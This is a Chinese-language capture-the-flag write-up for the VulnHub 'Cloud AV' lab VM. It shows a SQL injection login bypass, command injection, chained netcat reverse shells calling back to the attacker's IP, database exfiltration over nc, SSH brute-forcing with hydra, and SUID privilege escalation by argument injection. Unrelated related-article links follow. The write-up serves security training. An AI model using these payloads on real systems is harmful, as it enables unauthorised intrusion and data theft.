靶场链接

https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

信息收集

练习1用了arp-scan,这种工具有可能会被防火墙流量监测到,所以可以使用arping, 这种工具基本Linux发行版都会自带。

for i in $(seq 1 255);do sudo arping -c 2 192.168.31.$i;done

根据回包来判断靶机地址。

下一步,扫描端口和服务。

sudo nmap -p- 192.168.31.197

sudo nmap -p22.8080 192.168.31.197

扫描到有sshhttp服务, web服务使用Python写的框架。

漏洞利用

访问Web服务,出现搜索框要求输入邀请码,有两种思路,暴破和注入。

注入的小技巧:先对所有键盘输入的特殊字符进行暴破,若存在状态码和回包长度不一致的,很有可能可以用于构造闭合语句。

回包显示网页使用了Flask框架,且明确显示了数据库查询语句。

尝试使用万能密码

" or 1=1--+

顺利登录,返回一个病毒扫描页面。文本框要求输入一个文件名称,逻辑一般是文件名拼接扫描命令,可以尝试命令执行。

hello | ls

网页顺利回显了文件列表,证明了命令执行的存在。此时可以尝试写入反弹shell,因为框架使用Python写的,可以使用Python的反弹shell。 如果靶机环境存在 netcat, 也可以利用 nc 构建反弹shell。

# kali

nc -nvlp 4444

# 文本框

nc 192.168.31.157 4444 -e /bin/bash

监听端口后无回显,可能是因为靶机环境的 netcat 版本过低,并不支持 -e 参数。

将之删掉后,显示连接已建立。

此时要用到的小技巧叫 nc串联:靶机反向连接 kali , 通过管道符将输入的命令传入 /bin/bash,然后再通过管道符将结果反向输出到 kali 的另一个端口上。

hello | nc 192.168.31.157 3333 | /bin/bash | nc 192.168.31.157 4444

此时kali终端中左侧输入的命令,执行后结果在右侧可显示输出。

提权

查看一下文件权限和文件列表,除了数据库文件外,其他文件对提权并没有作用。使用file database.sql得到数据库是 sqlites,该数据库是本地数据库,然而靶机环境中并没有读取数据库的工具,所以要把它传输到kali中读取。

# kali

nc -nvlp 5555 > db.sql

# 靶机

nc 192.168.31.157 5555 < database.sql

传输完成后使用kalisqlite3 工具进行数据库文件的读取。

发现数据库中都是密码字段,同时在靶机上cat /etc/passwd可以获取用户字段,我们可以用这些信息各自构造一个字段来对靶机的ssh 服务进行暴破。

hydra -L usr.txt -P pass.txt ssh://192.168.31.197

暴破并不成功,寻找另外一种思路。使用pwd看看当前目录,本目录下没有其他线索可用了,退到上一级目录看看。

通过文件列表,可以看到有一个可执行文件具有suid权限,且据推测应该由该目录下一个.c文件编译而来。

通过查看.c文件可以看到,该文件的功能是对cloudav进行升级,且命令后带一个参数,可以利用suid尝试在参数上构造管道拼接提权。

./update_cloudav "a|nc 192.168.31.57 5555| /bin/bash | nc 192.168.31.157 6666

同时在kali上监听这两个端口,可以发现提权成功。

靶场练习2:cloudantvirus的更多相关文章

  1. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

  2. 第二次靶场练习:cookie注入

    cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...

  3. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  4. 文件上传漏洞靶场:upload-labs安装及第一关教程

    注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...

  5. Jenkins高危代码执行漏洞检测/开源漏洞靶场

    漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...

  6. ethernaut 以太坊靶场学习 (1-12)

    前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...

  7. 墨者学院靶场之PHP代码分析溯源(第1题)

    申请靶场环境后 点开题目 一段奇怪的PHP代码 因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进 ...

  8. SQLInjection 靶场配置

    对于渗透,太小型的网站没有太大价值,而大型网站(比如各种电商平台)对于代码审计往往非常严格,新手基本找不到漏洞,而一些比较容易搞掉的站点(政府.gov.各种教育网站.edu或者很多商业中型站点)渗透又 ...

  9. 推荐开源靶场Vulhub

    转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...

  10. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

随机推荐

  1. 文献阅读01:由I类HLA转录缺失导致的联合免疫治疗的获得性癌症耐药性

    背景 Merkel cell carcinoma:梅克尔细胞癌又名皮肤小梁状癌.原发性皮肤神经内分泌癌.皮肤原发性小细胞癌及皮肤APUD瘤. HLA:MHC基因产物在不同细胞表面表达,通常称之为MHC ...

  2. C#/VB.NET 如何在不同工作簿之间复制单元格范围

    在处理 Excel 文档时,我们经常需要将数据整合到一个工作表以便于我们进行管理或数据对比.为了提高工作效率,我们可以在不同的工作簿之间复制选定的单元格区域或整个工作表.本文将演示如何通过编程方式将选 ...

  3. spring-in-action_day01

    前景说明:SpringInAction主要致力于SpringBoot为基础的讲解,尽可能多的使用SpringBoot,可以减少显行的配置,如xml配置,可以更加的专注于功能的实现. 第一章:主要讲了如 ...

  4. JAVA虚拟机21---JAVA内存模型

    1.Amdahl定律和摩尔定律 并发处理的广泛应用是Amdahl定律代替摩尔定律成为计算机性能发展源动力的根本原因,也是人类压榨计算机运算能力的最有力武器. Amdahl定律通过系统中并行化与串行化的 ...

  5. sort()排序以及多个属性数组对象排序(按条件排序)

    原生排序 let arr = [5,2,1,4,9,8] for(let i = 0 ; i < arr.length ; i ++) { for(let j = 0 ; j < arr. ...

  6. 题解 [SCOI2005]王室联邦

    之前树分块也只是听说,今天亲手学了一下(?)( 首先你会发现这个 \(B\) 和 \(3B\) 的约束就很迷(我也不知道为什么搞这种奇怪的约束(悲)),学了才知道... 所以这题的分块方法好像叫&qu ...

  7. liunx Ubuntu20.04怎么安装mysql

    转载csdn:优秀的处女座 https://blog.csdn.net/qq_42481794/article/details/113923803

  8. Python连接hadoop-hive连接方法

    import impala.dbapi as ipdbconn = ipdb.connect(host='IP', port= 端口, database='数据库名', auth_mechanism= ...

  9. PYTHON编写程序练习-打印99乘法表

    使用for循环嵌套的知识点编写 for i in range(1,10):   #第一层循环,循环乘数 for j in range(1,i+1):   #第二层循环,循环被乘数 print(f&qu ...

  10. js高德地图添加点Marker,添加线段Polyline,添加一个区域Polygon(面)

    高德地图JS API 实例  亲测可用 参考网站=> 阿里云数据可视化平台(下载json用的):http://datav.aliyun.com/portal/school/atlas/area_ ...